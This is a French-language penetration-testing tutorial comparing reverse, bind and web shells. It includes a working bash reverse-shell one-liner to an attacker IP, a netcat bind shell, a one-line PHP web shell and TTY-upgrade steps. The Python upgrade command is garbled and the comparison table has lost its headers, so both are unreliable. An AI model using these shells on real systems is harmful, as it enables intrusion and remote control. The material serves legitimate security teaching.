Types of Shells
Lorsqu'on exploite une vulnérabilité offrant l'exécution de commandes à distance, il est souvent nécessaire d'établir une communication stable avec la machine cible. Pour cela, nous utilisons différents types de shells afin de prendre le contrôle du système compromis.
Il existe principalement trois types de shells :
Reverse Shell
Bind Shell
Web Shell
🔁 Reverse Shell
Un Reverse Shell initie une connexion depuis la machine cible vers l’attaquant.
📌 Principe
L’attaquant démarre un listener sur son poste (ex: Netcat).
La cible, via une commande malveillante, se connecte à ce listener.
Une fois la connexion établie, l’attaquant peut exécuter des commandes à distance.
🧪 Exemple :
$ nc -lvnp 1234 # Lancer le listener côté attaquant
$ bash -c 'bash -i >& /dev/tcp/10.10.10.10/1234 0>&1' # Sur la cible
✅ Avantages :
Très utile dans les environnements où la machine cible ne permet pas de connexions entrantes.
Facile à mettre en place.
❌ Inconvénients :
Fragile (connexion perdue si crash réseau).
Peut être bloqué par un pare-feu sortant restrictif.
📞 Bind Shell
Un Bind Shell fonctionne à l’inverse : la machine cible ouvre un port et attend une connexion de l’attaquant.
📌 Principe
La cible exécute un script qui écoute sur un port.
L’attaquant se connecte à ce port pour accéder au shell.
🧪 Exemple :
# Sur la cible
$ nc -lvp 1234 -e /bin/bash
# Côté attaquant
$ nc 10.10.10.1 1234
✅ Avantages :
Permet de se reconnecter facilement si la connexion est coupée (tant que le processus est actif).
❌ Inconvénients :
Nécessite que la cible accepte des connexions entrantes (souvent bloqué par des pare-feux).
Plus visible sur le réseau.
🌐 Web Shell
Un Web Shell est un script (PHP, ASPX, etc.) placé dans le répertoire web de la cible, accessible via HTTP.
📌 Principe
L’attaquant envoie des commandes via l’URL ou une requête POST.
Le script exécute les commandes sur la machine cible et affiche les résultats dans la page.
🧪 Exemple de Web Shell en PHP :
<?php system($_REQUEST["cmd"]); ?>
📥 Exemple d’appel :
$ curl http://IP/shell.php?cmd=id
✅ Avantages :
Discret : utilise les ports HTTP (80, 443).
Persistant (reste après redémarrage si non supprimé).
Utile quand seul l’accès web est disponible.
❌ Inconvénients :
Moins interactif (pas de shell "en direct").
Commandes exécutées une par une (sauf automatisation avec un script Python).
🧰 Bonus : Amélioration de l’interactivité
Une fois un shell Netcat obtenu, on peut le rendre plus interactif (avec historique, curseur, etc.) :
pyth>'import pty; pty.spawn("/bin/bash")'
^Z # Suspendre avec Ctrl+Z
stty raw -echo
fg
export TERM=xterm-256color
stty rows 50 columns 120
🎯 Résumé Comparatif
Reverse Shell
Cible
Attaquant
Oui
Non
Bind Shell
Attaquant
Cible
Oui
Non
Web Shell
Navigateur ou script
Cible (web)
Non
Oui
Mis à jour